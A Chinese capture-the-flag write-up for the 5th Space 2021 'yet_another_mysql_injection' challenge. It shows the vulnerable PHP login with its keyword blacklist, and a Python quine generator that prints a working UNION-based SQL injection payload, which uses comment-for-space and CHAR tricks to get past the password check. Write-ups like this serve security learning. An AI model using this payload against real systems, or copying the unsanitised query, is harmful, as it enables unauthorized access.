[第五空间-2021]yet_another_mysql_injection

---

title:[第五空间 2021]yet_another_mysql_injection

查看网页源码

访问view-source:node4.anna.nssctf.cn:28356/?source

得到题目源码

<?php
include_once("lib.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
?>

代码审计

username必须为admin

password输入必须和数据库中查询到的一样

# quine 生成脚本
def quine(data, debug=True):
    if debug: print(data)
    data = data.replace('.', "replace(replace(.,CHAR(34),CHAR(39)),CHAR(46),.)")
    blob = data.replace('.', '"."').replace("'", '"')
    data = data.replace('.', "'" + blob + "'")
    if debug: print(data)
    return data


"""
.填充的东西执行完之后和data一样
"""
data = "1'/**/union/**/select/**/(.)#"
quine(data)
#1'/**/union/**/select/**/(.)#
#1'/**/union/**/select/**/(replace(replace('1"/**/union/**/select/**/(replace(replace(".",CHAR(34),CHAR(39)),CHAR(46),"."))#',CHAR(34),CHAR(39)),CHAR(46),'1"/**/union/**/select/**/(replace(replace(".",CHAR(34),CHAR(39)),CHAR(46),"."))#'))#

原文地址：https://blog.csdn.net/liaochonxiang/article/details/138169721

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